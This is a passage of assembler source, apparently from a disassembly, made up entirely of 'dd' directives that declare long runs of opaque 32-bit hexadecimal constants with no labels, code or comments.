0B3203896h, 0F2B90539h, 3B48D596h dd 0AC9B4061h, 461B8FD1h, 77E4ECDEh, 884C9ACBh, 0BBF44172h dd 98BF7241h, 7A1417Fh, 7A276836h, 37EC3161h, 1CCF82CDh dd 229C3C61h, 0C435F566h, 8FFC02FAh, 0CDF5FB6h, 0FBF1C265h dd 0FE48C5E3h, 3287A5E2h, 83F3E8E1h, 4879F1CAh, 0AC932A79h dd 0C78942EDh, 0D3804D7Eh, 93B9E867h, 686865ECh, 0B1A97C4Bh dd 72F0FD53h, 87D5287Eh, 1E8764B7h, 4F7CD4BEh, 0CCC4A919h dd 0A781B5CFh, 0BF4A1816h, 7FA444E2h, 1E10DDAEh, 0ED67B40Bh dd 0D4329586h, 7592547Fh, 0C1900D7Eh, 0C73009B7h, 0DFAB659Ch dd 0DAABD7CEh, 63F0E75Ah, 120319A7h, 0CB786FF0h, 0F56A1B6h dd 72CA2E83h, 940BC870h, 4CC76A9h, 4BCCD4B7h, 35BF51Eh dd 0E76F994Ah, 0D7C8565Dh, 0B52EB4BFh, 0E98BCDBEh, 7D4E8B6h dd 0DAE02FFDh, 67AF7102h, 2810F6E5h, 36A20A61h, 0E9BFB012h dd 4C7E8AA7h, 383722D9h, 0ABBF5A0Eh, 7B6291C6h, 0A6C333h dd 0F660C8D1h, 0B327D94Ah, 0DF4D9E4Ah, 0C41C0147h, 14AA0E69h dd 47FEAE3Dh, 0CC21E5DEh, 0C586F241h, 0E33995D6h, 55C9B9EAh dd 82465F47h, 0E63FD167h, 0B3162BCBh, 2FF04C9Ah, 0EEC1C7DEh dd 0BFCCE764h, 0D613FF99h, 0B7641922h, 86998886h, 2F9C9ABBh dd 0E5CAD0F5h, 0FBD7697Ah, 54682DD2h, 1F2C4806h, 2B1C3C4Eh dd 83847928h, 8B79318Eh, 0DFA91ED2h, 0B8E0EDABh, 0C33004A6h dd 0BB884412h, 974C7BB2h, 4310DDAAh, 0F7700BDCh, 0A7CD6A91h dd 5C9C81C7h, 975780F7h, 9614297Bh, 4A2A0FE7h, 5F04B0A8h dd 31F0FD0Eh, 0A298AC95h, 4EAE75E6h, 5F27D564h, 72A4858Ah dd 58A3C91Ah, 0F9E821E2h, 0AAF351A2h, 310ABC6h, 43241C13h dd 0BB8CB610h, 0AF36D5B9h, 5579CACh, 32187C45h, 5EB1A536h dd 0C97C04C2h, 964CA831h, 89F9EAh, 61AFE722h, 58313916h dd 0B3602C1Ah, 0DF43A71h, 90FB9C86h, 0AF9CC132h, 91C00D7Eh dd 42C04CF5h, 6F591506h, 0EF1C437Ah, 1B64F941h, 718C3C05h dd 64FBE576h, 9FDA29D7h, 0E7F2208Eh, 1D7A39EAh, 0C0FEF453h dd 0CFE9A59Fh, 7E398E5Eh, 6764490Fh, 2D9986D6h, 7F0803DDh dd 82CF9561h, 336B19CAh, 6B18D496h, 5AE6BF32h, 0ED000B6Eh dd 86D0663Ah, 0DB6825F7h, 0EE59D1BCh, 73CE3C08h, 0A2C33763h dd 4DB7BEA4h, 6473E094h, 338AFC50h, 18E7DF0Bh, 0FBBE5583h dd 0BE7748E2h, 43CF58A1h, 72A9598Ah, 2B188864h, 63F4C198h dd 0C3C00D3Eh, 0D781D629h, 26282580h, 5F6CB1CEh, 630F7801h dd 262D396Ah, 4A3875A6h, 462EF1ACh, 0D625E288h, 24F4C91Ah dd 0C7640D90h, 0A6885EAFh, 3F509DEEh, 9B17EC6Ah, 6E976F3Ah dd 0AF5C01BEh, 7320C053h, 26E9C99Ah, 0AE9CC011h, 0BF90DD7Dh dd 0DDF141BBh, 236CD955h, 8A89C012h, 0F5CC622Ch, 0DB150231h dd 67CB4E1Ch, 2BB2F499h, 8CC9145h, 566F0FCCh, 77E4ECB6h dd 0FB88D575h, 0E6F41122h, 57408DBEh, 2BFADE95h, 9BCC8459h dd 0E9CCA4BDh, 23B57DCEh, 0DE778F9Eh, 7DF270AFh, 0E7AD2152h dd 73206F5Eh, 772218CBh, 4D6C1029h, 2A01D162h, 8390066Dh dd 0E3AD2A9Ah, 3A4A85D7h, 43497EE3h, 54800D4Bh, 12AB4D3Eh dd 5B2810CAh, 92AC327Ah, 23B0A839h, 8447802Bh, 0DC2C73A9h dd 1379B393h, 4183C4D3h, 81DBFA35h, 0D2DF1962h, 823758Ch dd 365381DDh, 99412BF8h, 593DC3B2h, 1F3A881h, 0E3B84862h dd 0A2664616h, 7A7C65C4h, 2B09D6B0h, 17C39246h, 68C43B6Ah dd 0CB387556h, 600ED192h, 5DCD84A6h, 0C097BB73h, 83A96937h dd 537C7FDBh, 4019D3EEh, 4195B901h, 9FF22770h, 0FA567155h dd 735288ADh, 37E6D9DEh, 0FBD99543h, 0BF82512Ch, 0EC3A10F4h dd 7124B7E3h, 7F8ADC10h, 27E96B27h, 0B3602D1Eh, 0D3D98887h dd 0FD08858Bh, 0BFD9E6E7h, 566F5D2Eh, 77E4EC9Eh, 0DFC7FD87h dd 64022B4Eh, 5375DD0Bh, 7B38F0FAh, 0FD829018h, 0C2130FC3h dd 5EBD5EFBh, 17048FAAh, 1CBA83ADh, 25947B7h, 0B31307DBh dd 0B7F1C69Ah, 8148C5E5h, 337697ABh, 322BE320h, 5CABFBCBh dd 0DA9D58C5h, 7FDCC1A7h, 0DDEA4D14h, 0B2F0FCC5h, 27EB25B6h dd 6A28F9A6h, 23F45565h, 91D7792Ah, 1E8735A5h, 4F7CD45Ah dd 0CC1CE576h, 0E7B361A5h, 0FDDB4516h, 2C034EA1h, 0CB8522AEh dd 1F2419BFh, 0D4A769F7h, 906F971Ah, 904DF2C1h, 2F146969h dd 1B2865BDh, 0D29E297h, 279ECF3Dh, 68C47526h, 8B0DE933h dd 0F764992h, 0D7EDDEh, 0C99DBB6Ah, 0FB896322h, 7799AEF2h dd 8A50DDDBh, 77D1CDCFh, 66A95A06h, 0EF44E1BFh, 158544FEh dd 56D4A98Ch, 0EE743089h, 0F73F7142h, 0A3703DCAh, 4FE94C27h dd 86A1B526h, 8F8A4DEFh, 45B6C51Eh, 0A052F625h, 7B15A213h dd 7C3C6E62h, 838D348Bh, 0E229D90Ah, 0AB980861h, 0EE761522h dd 7B128DD4h, 0C794A9F8h, 0AD9870C9h, 1F693102h, 6E1208D4h dd 5759E367h, 4DD2A726h, 929B949Fh, 0A5746D1Eh, 752519CAh dd 4D7C1029h, 40D4D162h, 0C3E631FBh, 0FAE1DFCAh, 6B1895BEh dd 2FDC8D5Ah, 9CD31A7Eh, 0B5672279h, 172461D8h, 83B90E82h dd 0B0F0FD7Bh, 0D7847E42h, 0CFCDB8E6h, 163CA1CAh, 61C1013h dd 0B65C891Ah, 5377BAE0h, 7F4C11EEh, 0A5E94F9h, 0D9701CC4h dd 2B14D982h, 5A00540Dh, 53450D7Eh, 0C6F3AD75h, 73BB65B6h dd 5F6CB1C7h, 7B324883h, 1A9D392Ah, 8B0E6D1Bh, 0F9664992h dd 0CE231221h, 0A7B4FF06h, 394C0A56h, 0BE0C51A3h, 3510D02h dd 368CCD4Ah, 14985507h, 0EF69FDA7h, 0C3C44CFEh, 57D4E9BBh dd 0DB8271FDh, 83398E50h, 26707DF8h, 5A71A06Ah, 0BEB3D0Eh dd 73299E52h, 58606D2Bh, 0E898A38h, 3B08858Bh, 7A41B817h dd 0C3D04043h, 7F31265Ah, 2ED85570h, 0D4984EB2h, 98408DBFh dd 471FA5BAh, 1E27D5C9h, 0DFAC2C2Bh, 0DB7DF848h, 7D45B9AAh dd 21B99F26h, 9B69DE10h, 70202D68h, 0A37BB662h, 7B4884C4h dd 0DA195CB1h, 0E9D05D73h, 48374BDAh, 2B2ED113h, 201C04B2h dd 0D380BFFBh, 1E9E43Ah, 0EA6865EBh, 0E590198Ah, 0B79842B1h dd 8984792Ah, 0BFF1D3CDh dd 0DAC3B5F6h, 33A09806h, 0FA2034D7h, 0BA394556h, 80B68C0Ah dd 67545651h, 0FFC4989Ah, 2F7CD1CDh, 64942133h, 0C3C8297Ah dd 0C7142C92h, 2D0640B6h, 0A03BB1BAh, 2385A99Bh, 9B00BA6Ah dd 0EB3E3260h, 12FD341Fh, 73CAED9Eh, 0A7F4E872h, 49B5756h dd 7F3A4137h, 272C10EEh, 0A21BCE5Eh, 0EBD8605Eh, 0A56405F4h dd 300A7BEh, 922BBAEDh, 0DBA89366h, 22219701h, 0A330206Ch dd 5B6CF9C0h, 5CF8B566h, 0DF299E01h, 8E606D28h, 673409D6h dd 8E8588E3h, 0FF8CA72Ch, 0FBDDD0A3h, 0B98FD94Ah, 0FD89152Ch dd 0E389BE21h, 9040CD88h, 68EAA902h, 16566EA7h, 9FDA7FF7h dd 113DCD8Eh, 7754CC44h, 0B4420DCEh, 988E40EDh, 84AD64BDh dd 0AC9EA29Bh, 0F686AE19h, 0FFBA9F9Fh, 474EE6Eh, 0E4DDF23Dh dd 5D184079h, 925C81F2h, 0D3C05809h, 0EF7E1D3Bh, 5B6850C6h dd 2A90647Dh, 9E70BD0Eh, 0D7C44167h, 4C6941E6h, 0F218857h dd 33E0AD9Eh, 0AA314F5Ah, 0BB88052Eh, 80B2470Bh, 0C3951A51h dd 0F724199Fh, 76D895C6h, 629CC530h, 0FDE04234h, 0E77A4615h dd 770803D9h, 7E09D7ABh, 1790B22Eh, 0B7A15403h, 0A8181AD2h dd 6D19CDF7h, 16D48CACh, 87FEC43Bh, 0DBE82576h, 4A7F71EDh dd 7135F083h, 4585FE6Ah, 0CAF63062h, 0CA0E0B3Fh, 276EA892h dd 74A78CD6h, 0B3C8DC1Ah, 0E6DC0163h, 0C71E5CEEh, 277C9C8Ah dd 6A8CD603h, 0EF90153Ch, 0DD01596Dh, 5A60BEh, 3625E5ACh dd 8BADC668h, 0ADF9354Dh, 1BC5F96Dh, 0CABC352Ah, 817D610Bh dd 7A2EADDAh, 6BE0C19Dh, 0E9C78316h, 0B69E5762h, 905413EBh dd 6064F0CAh, 71CC9C47h, 0E7AB2B1Fh, 0D3451F3Bh, 7113BFBh dd 573DEAAFh, 0D6FEB702h, 0F0B4730Bh, 0D82739F5h, 4B39B0EBh dd 46FCF5FBh, 0BAF46D0Dh, 0A7750C57h, 284F51BFh, 6B4D9DA2h dd 29FD9C2Bh, 0E743FD2Eh, 0C4AC4C0Bh, 0F0BB39Ah, 2312A5F3h dd 25D84506h, 0AB2E513Fh, 45E748B5h, 237E24C4h, 42D5EC55h dd 0CE96F23h, 786B1C44h, 0F159A079h, 1FAC9A28h, 0B8E71A5h dd 451F70BCh, 63B0FD0Eh, 97C4396Ah, 0CB3875A6h, 0F7CA192h dd 73A0EDDEh, 0A7F4C91Ah, 0FBC80556h, 3F0C51A2h, 3509DEEh dd 37E4994Ah, 0EB985506h, 0AF5C0132h, 5300CDFEh, 7D4E9BAh dd 0DBE8A576h, 9FAC7102h, 0A3703DCEh, 0F1A17ACAh, 0BF8F55Fh dd 0F616C4D1h, 0BC602D5Eh, 0EA204A6Dh, 8C07DDC5h, 2FCF9729h dd 0E7B419A5h, 5A89B21h, 0A39A2E5Fh, 0AD975501h, 1F02A6AAh dd 7E323C73h, 1E21E576h, 0DFAC08E8h, 21B37865h, 769D5BC2h dd 0C3B8F1E4h, 0CFDED697h, 0F344855Eh, 381C499Ah, 0F64885D6h dd 0FFAEF5A7h, 9BE9446Eh, 77E715BEh, 94EF3782h, 6FE50F37h dd 0A778E7Eh, 0A5A3E439h, 4B8B25B6h, 90D0817Dh, 27183E4Eh dd 4A0D8FC8h, 8B3817C2h, 3B3CDB51h, 30D2869Bh, 0A9399928h dd 0E5D31DEAh, 0B4C2B61h, 0A82222AAh, 0E756A689h, 0D4A7C22Eh dd 4452EA0Dh, 0D3F9A7B3h, 8C17717Ah, 9EA7A682h, 5F2C8850h dd 5A3E78C9h, 97C4392Ah, 0F7D075A6h, 847CA192h, 3399635Bh dd 5081211Ah, 0E320FAA9h, 0BC0C51A2h, 43691353h, 3F91994Ah dd 0C938C88Fh, 33B70172h, 6A8E4001h, 8817E9FAh, 9BD137F3h dd 1139F802h, 4B707DF7h, 5704F9A9h, 803B7C55h, 0CFBCE1C1h dd 5E887F1Eh, 64CBF624h, 7B316F03h, 7C1A9262h, 0CC905154h dd 77A5DE8Eh, 0BBA29646h, 12984E72h, 98408DBEh, 0AFC4A5B8h dd 64571BFEh, 0E646B441h, 25337DCEh, 974C33BAh, 52CCF5DFh dd 0FBD2D892h, 2CB2D5Dh, 0A6750111h, 0A4975A37h, 0FB7550FDh dd 0F6D05122h, 7F4F4026h, 64E22C05h, 2FDC363Dh, 0AB012B7Eh dd 88665AC4h, 5B688E73h, 25AFA782h, 0A8F5C84Eh, 0D56F6960h dd 7A7B3F6Dh, 0B14E0983h, 86E35261h, 0E7F4B0F0h, 0C348C0BBh dd 0FBC81E19h, 0BC10DDAEh, 0B71DF33Fh, 7EB0C5C6h, 6C633E0Ch dd 0D3F9A7BBh, 6D91A67Ah, 1828258Fh, 0DC3F95C6h, 0B883FFCEh dd 74CC8F65h, 0EBF1F5B4h, 2B5860C1h, 57BCC4DAh, 0FCD0C533h dd 7A21EE16h, 84DB5E59h, 826EE933h, 59A131B1h, 6AAE21DDh dd 0E6758C9h, 0D22EB901h, 0B2F63F41h, 5ACED1DAh, 0C745E2F9h dd 226E493Dh, 0FED8451h, 8AEEC195h, 0EA8327A9h, 326E59FFh dd 420B3921h, 0C40EB177h, 0BFF503F7h, 0B279062Eh, 295B26F5h dd 42CCD7C5h, 10E3BF9Dh, 172A8C7Dh, 0B18141A2h, 0E201AC9h dd 0DFAC1593h, 0FB01C5E8h, 0F3845BE8h, 2D5AF725h, 0D7FA4BB9h dd 0CD597B6h, 2FB6CA65h, 7E225451h, 4A61397Ah, 7950E291h dd 76F6AC9h, 0BA9DD7D6h, 85DCC196h, 0BBEA6A95h, 7DD4C362h dd 0EB7050F5h, 0EAE11993h, 224842B1h, 5384792Ah, 5A754134h dd 0A4F61F32h, 8BE54668h, 67B4895Ah, 7837A7BDh, 4B70AC6Fh dd 0C6E7DDEEh, 0F7646DBBh, 0AB5895C6h, 0F2CC286h, 0A245FA94h dd 0C414694Eh, 142965B6h, 5F6C4746h, 0E8E5450Eh, 3C6FD186h dd 0F2AEC82Fh, 0E7CCA1D2h, 0F6574674h, 0A7B4FD2Bh, 0FAC80556h dd 696EC2Bh, 48249DAEh, 3D51CBDh, 0EB985546h, 0C8E40332h dd 2636329Ah, 63B351BFh, 0BD438BFDh, 0F9AC71BAh, 13734965h dd 0D2F353F7h, 0BB88157h, 0C7BC6152h, 0BB0DA0A6h, 90227CDAh dd 7B3CF413h, 0FFCC9162h, 613E52Ah, 72D0D902h, 533596FEh dd 1853EA72h, 5374BC3Bh, 4794AAFAh, 2BAC9136h, 54479BABh dd 0A309EB0Bh, 3C8B32EAh, 0B7F07CEEh, 0BBCDA4E5h, 0F3236D1Eh dd 7800499Ah, 842CE26Eh, 21315814h, 28D05D57h, 0D0641972h dd 0E2A07EE2h, 84DC8194h, 2C7EF096h, 6F74D9C5h, 0A497D939h dd 0A74AC861h, 8896A8B1h, 420FD2BBh, 8B3801D7h, 8DCB3325h dd 33E0AD9Dh, 705C9D2Fh, 0B77BAE8h, 83E5F9FDh, 0FB762251h dd 5C424C75h, 0E4D33E57h, 56024479h, 5BEB0D7Eh, 30E861F3h dd 5B1C5433h, 5F6CB5C2h, 0DBA2890Eh, 5F3AF943h, 0B30CD0Dh dd 0B7D7A5E6h, 144B15ABh, 96713EB1h, 0F3C84562h, 4A0C51A2h dd 2CED1DA4h, 37E4D97Eh, 0C2201472h, 0A595282Ah, 1334E65Bh dd 43029BAh, 0EFC3007Ch, 2F077142h, 26FA977Fh, 5744CD85h dd 1B805CCh, 8F884AD7h, 0B06871Eh, 0E2C3F438h, 3B48F1A7h dd 0FFCC9172h, 8A205A5Ah, 21CBFA0h, 1B7373BAh, 2F2FEB9Ah dd 91FD0415h, 0B094E9C3h, 0DB9CD4B3h, 0DFEC1142h, 5339088Eh dd 3EC1B3B2h, 0E1B8B512h, 4F7D9974h, 0C711E8A9h, 273449DAh dd 783C85D6h, 0B5A415A2h, 0C3E434CBh, 3ECF7FCAh, 2B21533Bh dd 0AA2B2AB2h, 0D3C0794Fh, 0C754693Ah, 0BD82C83h, 2B057480h dd 0D45ABD0Eh, 97B048AFh, 8B78B5E6h, 0FF3794D2h, 1965A726h dd 4DB4C96Eh, 3EE78FDh, 0FABB09D3h, 4350E99Fh, 0F724588Ah dd 2E897B2h, 5BB664F8h, 77000D7Eh, 0EDB12379h, 7D282582h dd 0DED4D769h, 52350AFEh, 97C4795Eh, 0BE3875A4h, 5B41590h dd 3394C77Bh, 2E5FAF1Ah, 0BBF1A7EBh, 1B30E9A2h, 0F4FB9DEEh dd 77D0A8CFh, 0EB985D06h, 58307532h, 1334FC7Bh, 7D0E9BAh dd 6BE3D076h, 0B4297BBAh, 9707DFAh, 0D2F3B441h, 0BB88157h dd 0CFBC6952h, 0B063C6Bh, 0C23EE959h, 3B48F1BDh, 3FFF3A04h dd 0A585B684h, 7DBCF0B2h, 0EBEC3EE3h, 0ECF88172h, 276B28B4h dd 0ECF2A9BAh, 0AF9960C1h, 0CFEC3102h, 5B567D8Eh, 1430796Bh dd 41B031A6h, 0CFC80AB7h, 0FC8B0B5Eh, 135BCC2Ch, 8CE38596h dd 0FFB8E0A7h, 83D01D6Eh, 76D6D8Ah, 429DD7D6h, 85DCC186h dd 0E7B1C889h, 0A754697Ah, 0DDD825F6h, 1B28F3F7h, 0A90EF2C3h dd 97B0508Fh, 1F5BCE6h dd 293CA1EBh, 361C2D35h, 0E7048E2Fh, 0FB770A96h, 4EC9E648h dd 43109D9Ah, 912459CAh, 5E69F37Eh, 9B575F0h, 99D8BD95h dd 872002FFh, 18C8A5B6h, 0A8E40168h, 2384CC8Bh, 9744396Ah dd 7B3A00A6h, 26D92B14h, 15A0ADEAh, 0A20849B1h, 0FB780223h dd 7FF31E22h, 32D56A44h, 37E4D97Eh, 9E985406h, 0A51CB139h dd 1334E47Bh, 83F43BAh, 1B6B1D10h, 0AB85D408h, 8163D8Eh dd 0A0AEF81Ah, 4BCC84E3h, 0CDBC6152h, 444F581Eh, 2700385Fh dd 3F08C596h, 4FD6E462h, 0E81557EEh, 0FDA4993Eh, 0EBEC25E3h dd 0FFFC8072h, 922635D8h, 0AC941951h, 91E8553Eh, 9FD81AC7h dd 66C7D78Eh, 17048DDBh, 4BB0F526h, 379A3167h, 562A85DDh dd 27347DB0h, 7AF82EB0h, 0F73CD9C9h, 0B7FA9864h, 40CE198Ah dd 2B2CE403h, 3FDC81B2h, 0A6F5FC7Eh, 4EC0F1Fh, 71CD2F0Eh dd 792CB1B6h, 89308EE5h, 0EE0EC403h, 0E8F35A6h, 4F7CD5E3h dd 33C0AD9Eh, 9005962Fh, 3EE5EFDh, 0DA4609EBh, 4350E984h dd 0FD27BD4Ah, 6B6CBF63h, 4637A7F2h, 0D3F98783h, 4DD5A37Ah dd 5B11EF13h, 0EFC7D7C2h, 4A35FF56h, 3DC4795Eh, 0FF09F051h dd 0F7FA1D2h, 0F7AFECDEh, 0A7F4C99Dh, 70AC62EEh, 0E81DA84h dd 8250DDDAh, 37E499BBh, 0EB59A204h, 0DA5F0132h, 376775FBh dd 0BF7FC73Dh, 0DBE8A576h, 99D9DA64h, 46FB85A8h, 33BC52CCh dd 0A0FE3A01h, 64DAA161h, 8751A8E9h, 6734099Ah, 7B7DC496h dd 0CBFD1495h, 0C3905D6Eh, 51D0D10Ah, 0C755AD20h, 0DB2DC485h dd 13408DFEh, 0D29BABFAh, 0FD49EFF7h, 0AA25B5E9h, 0C7881B86h dd 0FCEFDFEEh, 0E1B04535h, 379A2FF9h, 76223006h, 27347DB1h dd 78A32EB0h, 48261892h, 0C3E42CEBh, 0B76419CAh, 0DB38A106h dd 659ABB5h, 12800D4Ah, 0E5973DAh, 596801FEh, 5F18D827h dd 20147D4Eh, 7C80BDAAh, 0EDD25456h, 45DC1E6Ah, 73D4843Bh dd 101FEF5Ah, 0FBBC7493h, 7F4C31E2h, 0B443A9AEh, 0B710680Fh dd 2B5895C6h, 9891B5D2h, 93C00EF9h, 77115D7Ah, 0E8C3CF26h dd 0D2E77649h, 63F0C48Ch, 0D64DF841h, 0C160C55Ah, 4F488817h dd 0F65747DEh, 0A7B4FD2Bh, 0FB880556h, 876A5DD6h, 865A5EBEh dd 37A4AD63h, 53FE5FEDh, 0A56E1CDh, 5340F9D7h, 822342DCh dd 0DBA89147h, 9EAC7101h, 26874EBAh, 5744CD9Bh, 2BF8B566h dd 84B6C26h, 0B3602D1Dh, 0F7840CAEh, 0B0FB2E3Ch, 65491AADh dd 0E8901D17h, 8BEC50C2h, 2E2FDC75h, 0EF5C7543h, 13C08DBEh dd 0C219A78Fh, 9BE8D11Fh, 5FAC39C8h, 1B437E77h, 5389BD67h dd 8AB8E502h, 44C29F2h, 95268EF5h, 41B47822h, 0F4F0E37Dh dd 0BF34B9A2h, 62D21D6Eh, 1C3CB2ACh, 6D6D1C03h, 0EFED39D4h dd 1030E618h, 0BBD1E490h, 0AC6865C2h, 5F18C007h, 23F0BD4Eh dd 80820C3Ah, 6020CDCDh, 676F6ACBh, 0E3CB55B5h, 0DE1604D1h dd 2E894556h, 7F0C2860h, 79BE4AFh, 4AAD5DAEh, 2B1885ABh dd 561A7C79h, 16EB0D7Eh, 0C75410F8h, 2F19E041h, 5F2CB182h dd 61C4FD0Eh, 556FE19Dh, 9C6E75A2h, 36D21C11h, 7CA0ED9Eh dd 0A7F5109Eh, 0FBC5ED56h, 7A4751A2h, 4F15D3BCh, 73CAAB79h dd 1498194Ah, 0EF6989A7h, 0ED8544FEh, 54D4A983h, 0D8D4FDFDh dd 0B7DF8EDAh, 4B447E45h, 0A8FB0F56h, 325E20EDh, 0CCE76112h dd 36E9215Ch, 67743018h, 0B2008795h, 0BFF557E7h, 0EBE3D62Eh dd 77246AF5h, 7E301546h, 64E3BE84h, 53792B03h, 8E7CFFFAh dd 10571AC0h, 9FD597D7h, 0EB7AF68Eh, 3C48F3E9h, 4E5176E8h dd 8E9CA91Dh, 772F6D5Eh, 277448C0h, 42E230D5h, 0A8FD162h dd 8390241Ch, 0B88C2566h, 6B187703h, 2B9A0CB2h, 0EAF2C855h dd 8157697Ah, 0ADEECDA6h, 0A2AF0E7Dh, 23B084E8h, 0EC8F0C2Ah dd 87739A1h, 4F3CE0C9h, 0A6D9A175h, 0E7F4B0FCh, 0BA85C019h dd 0FA4F11E2h, 4350E4DCh, 81CD8ECh, 0D7DD9AE3h, 0E49CC1F2h dd 0D0EB0F7Eh, 8EFC794Eh, 22D79A40h, 1F55177Fh, 8735F20Eh dd 94C4396Ah, 8B01DF23h, 7DF9A292h, 0F8A0ADE7h, 0ABB3E21Ah dd 0FB058759h, 783751A2h, 0C7D392E6h, 0B4E4994Ah, 0AC9B57C6h dd 0DDD90226h, 1008DC7h, 0B96116EAh, 24E8E54Fh, 0DF993997h dd 63F567CEh, 57B37CA5h, 9711B566h, 0F3BC6152h, 27E522E1h dd 0E73409DAh, 0BE07D0A8h, 0FFCC91E9h, 0E8911BA5h, 9FF4ED49h dd 5427E09Eh, 0D6BAFC4Bh, 64358DFEh, 7E3E2CF9h, 1EABE576h dd 0DFAC0830h, 0DAFAF807h, 17CFB9AAh, 727A701Dh, 878E2152h dd 0CAE6E865h, 4E0649DAh, 7B4885EBh, 57BBA352h, 83D01D71h dd 3C985747h, 681AFE47h, 0AAE791F0h, 0D3C074B4h, 43D7654Fh dd 0D459DAE6h, 7E30D5C6h, 0AC33A6A5h, 97BDEBAFh, 3EF355E6h dd 4F7CD8A0h, 0CC16DB76h, 0E71DE8A5h, 0CE084516h, 730B3AECh dd 42BD4DCh, 0CBA65682h, 62A76A39h, 912E44FDh, 0AF4BF2C1h dd 0F6B3A85Eh, 0E4286592h, 0B4134E3Dh, 47FA7C32h, 77C4390Ah dd 40F846E8h, 8AFB859Eh, 73E0D470h, 83C17097h, 7ECB0556h dd 3F4C68D0h, 4DF53888h, 75E75F61h, 0E7DA7E12h, 47A747F4h dd 53524C39h, 7D1E9BAh, 9D61A576h, 5CF22EFEh, 9B3E8843h dd 0A852F9EAh, 4BCDC9F3h, 3044E252h, 0B3DBA911h, 0E2BD09DAh dd 3B48FCC4h, 9A9108h, 83A5E9BBh, 78645C0Ah, 0ABD8B1C2h dd 0BFDC6A72h, 4343E7EEh, 47FCA890h, 0CD68E536h, 0EAB0A4BDh dd 1BB37DCEh, 29C0B615h, 0C2B8F523h, 0CFC57797h, 0A9ADE05Eh dd 0AA7409A3h, 3B71E743h, 0D5DE8022h, 162F4D6Eh, 0B7242C4Eh dd 64E72D05h, 2FD98D36h, 2C80277Eh, 0C76D3F8Fh, 0DBFDDAF6h dd 9C2CB1B7h, 0A7FF42B6h, 0D7847DDFh, 0B212B06Fh, 860FE192h dd 63B16E9Dh, 0B6B0E30Bh, 82DEF0E9h, 0EAB311A2h, 4350E8CEh dd 732B990Fh, 2B589117h, 0EA1508C1h, 93803450h, 0AF45782Bh dd 1B2765A9h, 0FFF94E92h, 0E6B0BD3Bh, 1D4036AAh, 423875A2h dd 4F45D317h, 0BE182EDEh, 2CF4C973h, 7E3F3D1Dh, 3F4C6593h dd 13509DEEh, 0B2E79F3Fh, 0EBD8456Bh, 6E5FD301h, 0B2F73C09h dd 3EAE6C33h, 0E050A536h, 14AC7126h, 26730185h, 5744E9C7h dd 0CAFB6755h, 2E4B90A5h, 8A16A897h, 68F7099Ah, 0C20E8E21h dd 0AC41A481h, 80275236h, 3E74DA1Eh, 0A8F0D42Dh, 0B026C0A2h dd 0EA2EE4C9h, 3D17B48Eh, 7BDAE43Ah, 54D07AC9h, 0A13369CCh dd 5F0034FAh, 686102D9h, 0E5791AD3h, 30202D67h, 37501D11h dd 0F9C745E5h, 0BF8CD19Ah, 681F96ADh, 0F9D994C1h, 971895BEh dd 0E6EF5E39h, 0A1E171D2h, 0F02E553Ch, 0F14809F4h, 0F358ADBEh dd 0FE849372h, 3FF17916h, 8AF3FC05h, 0A64A4EFh, 0EEBD99Eh dd 0E7E6CA09h, 44BBC019h, 7CC7EE1Dh, 0D598A93h, 0D1A056C9h dd 16A76A39h, 21C982A5h, 6CDB8931h, 9029D685h, 141A56F5h dd 0A093A146h, 30E0C0F1h, 13CB763Eh, 34C78AA3h, 22947AA1h dd 7C5F1220h, 580A319Eh, 131A36A9h, 3F0C51B4h, 0FCAFF206h dd 37E471B5h, 6AC55506h, 0EF738BDFh, 503D24FEh, 0F8B0E9BAh dd 0A95D2E44h, 0FBAC313Bh, 22161F47h, 585EB494h, 0BFB93E3h dd 0F3E2EA52h, 3206F31Dh, 687159E1h, 3B0BD313h, 0E98F6662h dd 0C3907D2Eh, 74AD5C05h, 0E82E1546h, 0A197432Eh, 0EFC4829Eh dd 0A494A9F8h, 9A51643Ah, 0D0EC3143h, 0E3329308h, 0E98951EAh dd 0C9B70AD9h, 8FFC23F1h, 0F03027D5h, 27CC45D0h, 2A4884D6h dd 40663FCAh, 0AC452D91h, 66459FEh, 5BADE5A6h, 45DCC186h dd 8B49B35Eh, 53BC7D42h, 0DE97DA1Ch, 0DDB8FE50h, 0B6C15F9Dh dd 0D7C44D1Bh, 8D10D00Dh dd 163CE1D2h, 33E0ABF6h, 535CD15Ah, 3177BAFCh, 3F783867h dd 69945BAEh, 0F7646DA3h, 1F71104Eh, 8F7EC1B2h, 0A7F188C9h dd 0C71C293Ah, 125D65B6h, 6B470C42h, 17B1FD4Eh, 0A641CEAFh dd 0C8383592h, 7B7DA192h, 5A1D6DC5h, 0A2F4892Eh, 4648B522h dd 3F4C6588h, 83F7E9EBh, 77D0B2F7h, 75EC5006h, 9B6D84C5h dd 5300CDBEh, 0EA069BAh, 0EFC118F6h, 0E8AE7142h, 0DD5BE47h dd 5704B993h, 0F40C3A8Eh, 327C89ADh, 9688D2E1h, 0EC3409D8h dd 7B31B30Bh, 3127962h, 479FA2D1h, 77A4DB01h, 92AAA0CDh dd 0B1974132h, 0FB9E8E82h, 0B86B5425h, 9A5D6739h, 956D3142h dd 0E3301DAAh, 45BA320Ah, 5FC2F670h, 78EC5B11h, 0B3145CDBh dd 2774499Ah, 0F646F0C6h, 0FFB8ED97h, 0EE5D966Eh, 446459DAh dd 64A18222h, 0A2DC81BBh, 93904DCBh, 36F19A3Ah, 0A86AC6F6h dd 2EA90626h, 23F0FD7Ah, 0D894792Ah, 8B789D62h, 674F1ED2h dd 0CC11C276h, 412102A5h, 3E88052Fh, 0EDC81E30h, 0C810DDAEh dd 0B71D2B3Fh, 3B121EC6h, 0FB88B73h, 0B8200D3Eh, 0C5672130h dd 692BAC85h, 32E18AD6h, 0E8B0BD1Eh, 0D7D454E7h, 406E07A6h dd 0AAFF85AEh, 73E0FDB3h, 0CA534A1Ah, 0FBC80556h, 3E042B29h dd 0F45395A4h, 0B26F6ECDh, 0EBD86C80h, 9B6D84C5h, 5340CDBEh dd 5A0E9BAh, 0A9EBBD81h, 169C580Eh, 0E349937Bh, 7F7772AAh dd 8E0F8567h, 0CFFC5563h, 0B3602D5Eh, 7FC30BAEh, 0C7BC2DC7h dd 14956E9Dh, 0EBE35E22h, 26A8AB21h, 0F47CE610h, 0D3A9CC2Bh dd 0E040CD8Ah, 48CAF65Eh, 1C257707h, 0DFEC3090h, 0D71FE8B4h dd 1131B9AAh, 1DC0274Fh, 0DF743326h, 2CEC85A1h, 0AC2EB665h dd 314B899Ch, 8E092632h, 83D05D5Ah, 3A7419CAh, 786DD3C7h dd 16720C3Bh, 56834D3Eh, 87147957h, 5B058275h, 342CF182h dd 960F950Dh, 0D7C44054h, 8B2AB26Fh, 9B3E1D2h, 2655ABEh dd 